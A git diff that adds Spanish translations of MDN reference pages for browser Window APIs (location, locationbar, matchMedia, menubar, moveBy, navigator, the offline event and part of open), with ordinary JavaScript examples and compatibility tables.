+&lt;p&gt;Vestibulum id neque nec turpis iaculis pulvinar et a massa. Vestibulum sed nibh vitae arcu eleifend egestas. Mauris fermentum ultrices blandit. Suspendisse vitae lorem libero. Aenean et pellentesque tellus. Morbi quis neque orci, eu dignissim dui. Fusce sollicitudin mauris ac arcu vestibulum imperdiet. Proin ultricies nisl sit amet enim imperdiet eu ornare dui tempus. Maecenas lobortis nisi a tortor vestibulum vel eleifend tellus vestibulum. Donec metus sapien, hendrerit a fermentum id, dictum quis libero.&lt;/p&gt;
+&lt;p&gt;Pellentesque a lorem nulla, in tempor justo. Duis odio nisl, dignissim sed consequat sit amet, hendrerit ac neque. Nunc ac augue nec massa tempor rhoncus. Nam feugiat, tellus a varius euismod, justo nisl faucibus velit, ut vulputate justo massa eu nibh. Sed bibendum urna quis magna facilisis in accumsan dolor malesuada. Morbi sit amet nunc risus, in faucibus sem. Nullam sollicitudin magna sed sem mollis id commodo libero condimentum. Duis eu massa et lacus semper molestie ut adipiscing sem.&lt;/p&gt;
+&lt;p&gt;Sed id nulla mi, eget suscipit eros. Aliquam tempus molestie rutrum. In quis varius elit. Nullam dignissim neque nec velit vulputate porttitor. Mauris ac ligula sit amet elit fermentum rhoncus. In tellus urna, pulvinar quis condimentum ut, porta nec justo. In hac habitasse platea dictumst. Proin volutpat elit id quam molestie ac commodo lacus sagittis. Quisque placerat, augue tempor placerat pulvinar, nisi nisi venenatis urna, eget convallis eros velit quis magna. Suspendisse volutpat iaculis quam, ut tristique lacus luctus quis.&lt;/p&gt;
+&lt;p&gt;Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<div class="note"><strong>Nota:</strong> La función showNode es también un ejemplo del uso del ciclo <code><a href="/en/JavaScript/Reference/Statements/for" title="en/JavaScript/Reference/Statements/for">for</a></code> sin una sección de <code>statement</code>. En este caso <strong>un punto y coma es siempre puesto inmediatamente después de la declaración de el ciclo.</strong></div>
+
+<p>…De igual manera pero con un scroll animado:</p>
+
+<pre class="brush: js">var showBookmark = (function () {
+  var  _useHash, _scrollX, _scrollY, _nodeX, _nodeY, _itFrame, _scrollId = -1, _bookMark,
+       /*
+       * nDuration: the duration in milliseconds of each frame
+       * nFrames: number of frames for each scroll
+       */
+       nDuration = 200, nFrames = 10;
+
+  function _next () {
+    if (_itFrame &gt; nFrames) { clearInterval(_scrollId); _scrollId = -1; return; }
+    _isBot = true;
+    document.documentElement.scrollTop = Math.round(_scrollY + (_nodeY - _scrollY) * _itFrame / nFrames);
+    document.documentElement.scrollLeft = Math.round(_scrollX + (_nodeX - _scrollX) * _itFrame / nFrames);
+    if (_useHash &amp;&amp; _itFrame === nFrames) { location.hash = _bookMark; }
+    _itFrame++;
+  }
+
+  function _chkOwner () {
+    if (_isBot) { _isBot = false; return; }
+    if (_scrollId &gt; -1) { clearInterval(_scrollId); _scrollId = -1; }
+  }
+
+  if (window.addEventListener) { window.addEventListener("scroll", _chkOwner, false); }
+  else if (window.attachEvent) { window.attachEvent("onscroll", _chkOwner); }
+
+  return function (sBookmark, bUseHash) {
+    _scrollY = document.documentElement.scrollTop;
+    _scrollX = document.documentElement.scrollLeft;
+    _bookMark = sBookmark;
+    _useHash = arguments.length === 1 || bUseHash;
+    for (
+      var nLeft = 0, nTop = 0, oNode = document.querySelector(sBookmark);
+      oNode;
+      nLeft += oNode.offsetLeft, nTop += oNode.offsetTop, oNode = oNode.offsetParent
+    );
+    _nodeX = nLeft, _nodeY = nTop, _itFrame = 1;
+    if (_scrollId === -1) { _scrollId = setInterval(_next, Math.round(nDuration / nFrames)); }
+  };
+})();
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Window.location")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Window.location")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>window.location.origin</code></td>
+   <td>30.0.1599.101 (possibly earlier)</td>
+   <td>{{CompatGeckoDesktop("21.0")}}</td>
+   <td>11</td>
+   <td>{{CompatUnknown}}</td>
+   <td>7 (possibly earlier, see webkit bug 46558)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>window.location.origin</code></td>
+   <td>30.0.1599.101 (possibly earlier)</td>
+   <td>{{CompatGeckoMobile("21.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td><span style="font-size: 12px; line-height: 18px;">7 (possibly earlier, see webkit bug </span><span style="font-size: 12px; line-height: 18px;">46558)</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>La interfaz de retorno de un valor, {{domxref("Location")}}.</li>
+ <li>Información similar, pero agregando contexto del navegador, {{domxref("Document.location")}}</li>
+ <li><a href="/en-US/docs/DOM/Mozilla_event_reference/hashchange" title="/en-US/docs/DOM/Mozilla_event_reference/hashchange">Manipulando el historial del navegador</a></li>
+ <li><a href="/en-US/docs/DOM/Mozilla_event_reference/hashchange" title="/en-US/docs/DOM/Mozilla_event_reference/hashchange">hashchange</a></li>
+</ul>
diff --git a/files/es/web/api/window/locationbar/index.html b/files/es/web/api/window/locationbar/index.html
new file mode 100644
index 0000000000..8cff663446
--- /dev/null
+++ b/files/es/web/api/window/locationbar/index.html
@@ -0,0 +1,66 @@
+---
+title: Window.locationbar
+slug: Web/API/Window/locationbar
+translation_of: Web/API/Window/locationbar
+---
+<div>{{APIRef}}</div>
+
+<div class="hidden">
+<h2 id="Resumen">Resumen</h2>
+</div>
+
+<p>Devuelve el objeto <code>locationbar</code>, del cual se puede comprobar su visibilidad.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>objRef</var> = window.locationbar
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>El siguiente ejemplo completo en HTML, muestra la forma en la que se utiliza la propiedad <code>visible </code>del objeto <code>locationbar.</code></p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;Various DOM Tests&lt;/title&gt;
+
+&lt;script&gt;
+var visible = window.locationbar.visible;
+&lt;/script&gt;
+
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;Various DOM Tests&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-window-locationbar', 'Window.locationbar')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-window-locationbar', 'Window.locationbar')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("window.locationbar")}}, {{domxref("window.menubar")}}, {{domxref("window.personalbar")}}, {{domxref("window.scrollbars")}}, {{domxref("window.statusbar")}}, {{domxref("window.toolbar")}}</li>
+</ul>
diff --git a/files/es/web/api/window/matchmedia/index.html b/files/es/web/api/window/matchmedia/index.html
new file mode 100644
index 0000000000..eaa7be6dc3
--- /dev/null
+++ b/files/es/web/api/window/matchmedia/index.html
@@ -0,0 +1,67 @@
+---
+title: Window.matchMedia()
+slug: Web/API/Window/matchMedia
+tags:
+  - API
+  - CSSOM View
+  - JavaScript
+  - Media Queries
+  - Referencia
+  - Window
+  - metodo
+translation_of: Web/API/Window/matchMedia
+---
+<div>{{APIRef}}</div>
+
+<p>El método <code><strong>Window.matchMedia()</strong></code> devuelve un nuevo objeto {{domxref("MediaQueryList")}} que representa los analizados de la <a href="/es/docs/CSS/Media_queries" title="CSS/Media queries">media query</a> indicada.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>mql</em> = window.matchMedia(<em>mediaQueryString</em>)</pre>
+
+<p>Donde <code>mediaQueryString</code> es una cadena de texto que representa la media query de la que devolver un nuevo objeto {{domxref("MediaQueryList")}}.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este código le permite manejar las cosas de forma diferente cuando la ventana es muy estrecha.</p>
+
+<pre class="brush: js">if (window.matchMedia("(min-width: 400px)").matches) {
+  /* La pantalla tiene al menos 400 píxeles de ancho */
+} else {
+  /* La pantalla tiene menos de 400 píxeles de ancho */
+}</pre>
+
+<p>Consulte <a href="/en-US/docs/DOM/Using_media_queries_from_code" title="CSS/Using media queries from code">Probando media queries</a> para ver ejemplos adicionales.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-window-matchmedia", "Window.matchMedia()")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Definición initial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("api.Window.matchMedia")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/CSS/Media_queries" title="CSS/Media queries">Media queries</a></li>
+ <li><a href="/es/docs/Web/Guide/CSS/probando_media_queries" title="CSS/Probando media queries
+">Probando media queries </a></li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{domxref("MediaQueryListListener")}}</li>
+</ul>
diff --git a/files/es/web/api/window/menubar/index.html b/files/es/web/api/window/menubar/index.html
new file mode 100644
index 0000000000..a81e1e45ef
--- /dev/null
+++ b/files/es/web/api/window/menubar/index.html
@@ -0,0 +1,42 @@
+---
+title: Window.menubar
+slug: Web/API/Window/menubar
+translation_of: Web/API/Window/menubar
+---
+<p>{{ APIRef() }}</p>
+
+<h3 id="Summary" name="Summary">Resumen</h3>
+
+<p>Retorna el objeto <strong>menubar</strong>, cuya visibilidad puede ser examinada.</p>
+
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+
+<pre class="eval"><em>objRef</em> = window.menubar
+</pre>
+
+<h3 id="Example" name="Example">Ejemplo</h3>
+
+<p>El siguiente ejemplo HTML completo muestra la forma en que es utilizada la propiedad visible del objeto menubar.</p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Various DOM Tests&lt;/title&gt;
+  &lt;script&gt;
+    var visible = window.menubar.visible;
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;Various DOM Tests&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Ver_también">Ver también:</h3>
+
+<p><a href="/en/DOM/window.locationbar" title="en/DOM/window.locationbar">window.locationbar</a>,<a href="/en/DOM/window.personalbar" title="en/DOM/window.personalbar"> window.personalbar</a>,<a href="/en/DOM/window.scrollbars" title="en/DOM/window.scrollbars"> window.scrollbars</a>, <a href="/en/DOM/window.statusbar" title="en/DOM/window.statusbar">window.statusbar</a>,<a href="/en/DOM/window.toolbar" title="en/DOM/window.toolbar"> window.toolbar</a></p>
+
+<p> </p>
+
+<h3 id="Specification" name="Specification">Especificación</h3>
+
+<p>HTML5</p>
diff --git a/files/es/web/api/window/moveby/index.html b/files/es/web/api/window/moveby/index.html
new file mode 100644
index 0000000000..cd8cd4ba9d
--- /dev/null
+++ b/files/es/web/api/window/moveby/index.html
@@ -0,0 +1,70 @@
+---
+title: Window.moveBy()
+slug: Web/API/Window/moveBy
+translation_of: Web/API/Window/moveBy
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Mueve la actual ventana a consecuencia de una cantidad especificada.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">window.moveBy(<em>deltaX</em>, <em>deltaY</em>)
+</pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<ul>
+ <li><code>deltaX</code> es la cantidad de pixeles a mover la ventana horizontalmente.</li>
+ <li><code>deltaY</code> es la cantidad de pixeles a mover la ventana verticalmente.</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js">function budge() {
+  moveBy(10, -10);
+}</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Puedes usar numeros negativos como parametros para esta función. Esta función realiza un movimiento relativo mientras que {{domxref("window.moveTo")}} hace un movimiento absoluto.</p>
+
+<p>Desde Firefox 7, no es posible para un sitio web mover una ventana en el navegador, deacuerdo con las <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=565541#c24">siguientes reglas</a>:</p>
+
+<ol>
+ <li>No puedes mover una ventana o pestaña que no haya sido creada por window.open.</li>
+ <li>No puedes mover una ventana o pestaña cuando esta en una ventana con más de una sola pestaña.</li>
+</ol>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-moveby', 'window.moveBy()') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatilidad_de_Navegador">Compatilidad de Navegador</h2>
+
+
+
+<p>{{Compat("api.Window.moveBy")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("window.moveTo")}}</li>
+</ul>
diff --git a/files/es/web/api/window/navigator/index.html b/files/es/web/api/window/navigator/index.html
new file mode 100644
index 0000000000..4766713060
--- /dev/null
+++ b/files/es/web/api/window/navigator/index.html
@@ -0,0 +1,60 @@
+---
+title: Window.navigator
+slug: Web/API/Window/navigator
+tags:
+  - API
+  - DOM
+  - DOM Reference
+  - HTML-DOM
+  - Property
+  - Reference
+  - WebAPI
+  - Window
+  - Window.navigator
+translation_of: Web/API/Window/navigator
+---
+<div>
+ {{ApiRef}}</div>
+<div>
+ <span style="line-height: 1.5;">La propiedad de solo lectura </span><code style="font-size: 14px;">Window.navigator </code><span style="line-height: 1.5;">es una referencia al objeto {{domxref("Navigator")}}, el cual puede ser utilizado para obtener información sobre la aplicación que está ejecutando el script.</span></div>
+<h2 id="Example" name="Example"> </h2>
+<h2 id="Example" name="Example">Sintaxis</h2>
+<pre class="syntaxbox"><em>navigatorObject<code> = window.navigator</code></em></pre>
+<h2 id="Specification" name="Specification"> </h2>
+<h2 id="Specification" name="Specification">Ejemplos</h2>
+<h3 id="Ejemplo_1_Detectar_un_navegador_y_retornar_un_string">Ejemplo #1: Detectar un navegador y retornar un string</h3>
+<pre class="brush: js">var sBrowser, sUsrAg = navigator.userAgent;
+
+if(sUsrAg.indexOf("Chrome") &gt; -1) {
+    sBrowser = "Google Chrome";
+} else if (sUsrAg.indexOf("Safari") &gt; -1) {
+    sBrowser = "Apple Safari";
+} else if (sUsrAg.indexOf("Opera") &gt; -1) {
+    sBrowser = "Opera";
+} else if (sUsrAg.indexOf("Firefox") &gt; -1) {
+    sBrowser = "Mozilla Firefox";
+} else if (sUsrAg.indexOf("MSIE") &gt; -1) {
+    sBrowser = "Microsoft Internet Explorer";
+}
+
+alert("Usted está utilizando: " + sBrowser);</pre>
+<h3 id="Ejemplo_2_Detectar_un_navegador_y_retornar_un_índice">Ejemplo #2: Detectar un navegador y retornar un índice</h3>
+<pre class="brush: js">function obtenerIdNavegador() {
+    var
+        aKeys = ["MSIE", "Firefox", "Safari", "Chrome", "Opera"],
+        sUsrAg = navigator.userAgent, nIdx = aKeys.length - 1;
+
+    for (nIdx; nIdx &gt; -1 &amp;&amp; sUsrAg.indexOf(aKeys[nIdx]) === -1; nIdx--);
+
+    return nIdx
+}
+
+console.log(<span style="line-height: normal;">obtenerIdNavegador</span><span style="line-height: normal;">());</span>
+</pre>
+<h2 id="Specification" name="Specification">Especificación</h2>
+<ul>
+ <li>{{SpecName("HTML5 W3C", "webappapis.html#the-navigator-object","window.navigator")}}</li>
+ <li>{{SpecName("HTML5.1", "webappapis.html#the-navigator-object", "window.navigator")}}</li>
+ <li>{{SpecName("HTML WHATWG", "timers.html#the-navigator-object", "window.navigator")}}</li>
+</ul>
+<h2 id="See_also" name="See_also">Vea además</h2>
diff --git a/files/es/web/api/window/offline_event/index.html b/files/es/web/api/window/offline_event/index.html
new file mode 100644
index 0000000000..7c503b836a
--- /dev/null
+++ b/files/es/web/api/window/offline_event/index.html
@@ -0,0 +1,70 @@
+---
+title: Offline
+slug: Web/API/Window/offline_event
+tags:
+  - Event
+  - Evento
+  - Reference
+  - Referencia
+translation_of: Web/API/Window/offline_event
+---
+<div>{{APIRef}}</div>
+
+<p>El evento <strong><code>offline</code></strong> se activa cuando el navegador ha pierdido acceso a la red y el valor de <code>navigator.onLine</code> cambia a <code>false</code>.</p>
+
+<h2 id="Información_General">Información General</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Especificación</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-offline">HTML5 Offline</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interfaz</dt>
+ <dd style="margin: 0 0 0 120px;">Evento</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Burbujas</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">DefaultView (<code>&lt;window&gt;</code>)</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Acción por Defecto</dt>
+ <dd style="margin: 0 0 0 120px;">Ninguna</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propiedad</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Evento target (el objetivo más alto en el árbol DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Tipo de evento.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Si el evento normalmente burbujea o no.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Si el evento normalmente es cancelable o no.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Eventos_Relacionados">Eventos Relacionados</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla_event_reference/online"><code>online</code></a></li>
+</ul>
diff --git a/files/es/web/api/window/open/index.html b/files/es/web/api/window/open/index.html
new file mode 100644
index 0000000000..8e0376ee75
--- /dev/null
+++ b/files/es/web/api/window/open/index.html
@@ -0,0 +1,663 @@
+---
+title: Window.open()
+slug: Web/API/Window/open
+translation_of: Web/API/Window/open
+---
+<p>{{APIRef}}</p>
+
+<p>Carga un recurso en el contexto de un nuevo navegador (como una ventana) o uno que ya existe, dependiendo de los parametros.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>var <em>referencia_objeto_window</em> = window.open(<var>[url],</var>[<var>nombre_de_la_ventana],</var>[<var>configuracion_ventana</var>]);</code></pre>
+
+<h2 id="Return_value_and_parameters" name="Return_value_and_parameters">Parámetros</h2>
+
+<dl>
+ <dt><code><em>referencia_objeto_window</em></code></dt>
+ <dd><code><em>Una referencia de la ventana creada. La referencia puede ser usada para acceder a propiedades y métodos de la nueva ventana.</em></code></dd>
+ <dt><code><var>url (opcional)</var></code></dt>
+ <dd><code>La <strong>URL </strong>especifica que página se va cargar en la ventana creada. La URL puede ser una página web <strong>(http://www.ejemplo.com.co)</strong> o un documento que se encuentre en algun directorio de su PC <strong>(html, imagenes y demás). </strong>Si no se expecifica una <strong>URL</strong>, por defecto abrira la ventana en blanco</code></dd>
+ <dt><code><var>nombre_de_la_ventana (opcional)</var></code></dt>
+ <dd>Un nombre para la nueva ventana. El nombre puede ser usado como el destino de enlaces y formularios usando el atributo de un elemento {{HTMLElement("a")}} ó {{HTMLElement("form")}}. El nombre no debe contener ningun caracter de espacio en blanco. Notese que <code>nombre_de_la_ventana</code> <strong>no</strong> especifica el titulo de la nueva ventana.</dd>
+ <dt><code>strWindowFeatures</code></dt>
+ <dd>An optional parameter listing the features (size, position, scrollbars, etc.) of the new window as a string. The string must not contain any whitespace, and each feature name and its value must be separated by a comma. See {{anch("Position and size features")}} below for details.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p class="brush: js">El metodo <code>open()</code> crea una nueva ventana secundaria del navegador, similar a seleccionar Nueva ventana desde el menú archivo. El parámetro <code>url</code> especifica la URL a ser solicitada y cargada en la nueva ventana. Si <code>url</code> es una cadena de caracteres vacia, entonces se creará una nueva ventana en blanco (URL <code>about:blank</code>) con las barras de herramientas por defecto de la ventana principal.</p>
+
+<p>Observe que las URLs no cargarán inmediatamente. Cuando <code>window.open()</code> retorna, la ventana siempre contiene <code>about:blank</code>. La solicitud de la URL es diferida y comienza luego de que el bloque actual se termine de ejecutar. La creación de la ventana y la carga de los recursos referenciados suceden de forma asíncrona.</p>
+
+<h2 id="Examples" name="Examples">Ejemplo</h2>
+
+<pre class="brush: js">var objeto_window_referencia;
+var configuracion_ventana = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes";
+
+function abrir_Popup() {
+  objeto_window_referencia = window.open("http://www.cnn.com/", "Pagina_CNN", configuracion_ventana);
+}
+
+// Llamamos a la función
+
+abrir_Popup();</pre>
+
+
+
+
+
+<pre class="brush:js">var windowObjectReference;
+
+function openRequestedPopup() {
+  windowObjectReference = window.open(
+    "http://www.domainname.ext/path/ImageFile.png",
+    "DescriptiveWindowName",
+    "resizable,scrollbars,status"
+  );
+}</pre>
+
+<p>If a window with the name <code>strWindowName</code> already exists, then <code>strUrl</code> is loaded into the <em>existing</em> window. In this case the return value of the method is the existing window and <code>strWindowFeatures</code> is ignored. Providing an empty string for <code>strUrl</code> is a way to get a reference to an open window by its name without changing the window's location. To open a <em>new</em> window on every call of <code>window.open()</code>, use the special value <code>_blank</code> for <code>strWindowName</code>.</p>
+
+<p><code>strWindowFeatures</code> is an optional string containing a comma-separated list of requested features of the new window. After a window is opened, JavaScript can't be used to change the features. If <code>strWindowName</code> does not specify an existing window and the <code>strWindowFeatures</code> parameter is not provided (or if the <code>strWindowFeatures</code> parameter is an empty string), then the new secondary window will render the default toolbars of the main window.</p>
+
+<p>If the <code>strWindowFeatures</code> parameter is used and no size features are defined, then the new window dimensions will be the same as the dimensions of the most recently rendered window.</p>
+
+<p>If the <code>strWindowFeatures</code> parameter is used and if no position features are defined, then the left and top coordinates of the new window dimension will be 22 pixels from where the most recently rendered window was. An offset is universally implemented by browser manufacturers (it is 29 pixels in MSIE 6 SP2 with the default theme) and its purpose is to help users to notice new windows opening. If the most recently used window was maximized, then there is no offset: the new window will be maximized as well.</p>
+
+<p><strong>If the <code>strWindowFeatures</code> parameter is used, the features that are not listed will be disabled or removed</strong> (except <code>titlebar</code> and <code>close</code> which are by default <code>yes</code>).</p>
+
+<div class="note">
+<p><strong>Tip</strong>: If using the <code>strWindowFeatures</code> parameter, only list the features to be enabled or rendered; the others (except <code>titlebar</code> and <code>close</code>) will be disabled or removed.</p>
+
+<p>Note that in some browsers, users can override the <code>strWindowFeatures</code> settings and enable (or prevent the disabling of) features.</p>
+</div>
+
+<p><img alt="Firefox Chrome Toolbars Illustration" src="/@api/deki/files/210/=FirefoxChromeToolbarsDescription7a.gif" style="border: 1px dotted green;"></p>
+
+<h3 id="Position_and_size_features" name="Position_and_size_features">Características de posición y tamaño</h3>
+
+<div>{{gecko_minversion_note("1.9.2", "Starting in Gecko 1.9.2 (Firefox 3.6), overriding the position of a window using window features will not change the persisted values saved by the session store feature. That means the next time the window is opened, it will still open in the saved location.")}}</div>
+
+<p><a href="#Note_on_position_and_dimension_error_correction">Note on position and dimension error correction</a></p>
+
+<div class="bug">{{bug(176320)}}</div>
+
+<p><a href="#Note_on_precedence">Note on precedence</a></p>
+
+<dl>
+ <dt id="left">left</dt>
+ <dd>Specifies the distance the new window is placed from the left side of the work area for applications of the user's operating system to the leftmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt id="top">top</dt>
+ <dd>Specifies the distance the new window is placed from the top side of the work area for applications of the user's operating system to the topmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.</dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt id="height">height</dt>
+ <dd>Specifies the height of the content area, viewing area of the new secondary window in pixels. The height value includes the height of the horizontal scrollbar if present. The minimum required value is 100.</dd>
+ <dd><a href="#Note_on_outerHeight_versus_height">Note on outerHeight versus height (or innerHeight)</a></dd>
+ <dd>Supported in: <img alt="Internet Explorer 5+" src="/@api/deki/files/260/=MSIE_ico.png">, <img alt="Netscape 6.x" src="/@api/deki/files/785/=Ns6.gif">, <img alt="Netscape 7.x" src="/@api/deki/files/281/=NS7_ico4.gif">, <img alt="Mozilla 1.x" src="/@api/deki/files/277/=Mozilla1_ico.png">, <img alt="Firefox 1.x" src="/@api/deki/files/200/=FF1x.png">, <img alt="Opera 6+" src="/@api/deki/files/288/=Opera6.gif"></dd>
+ <dt id="width">width</dt>
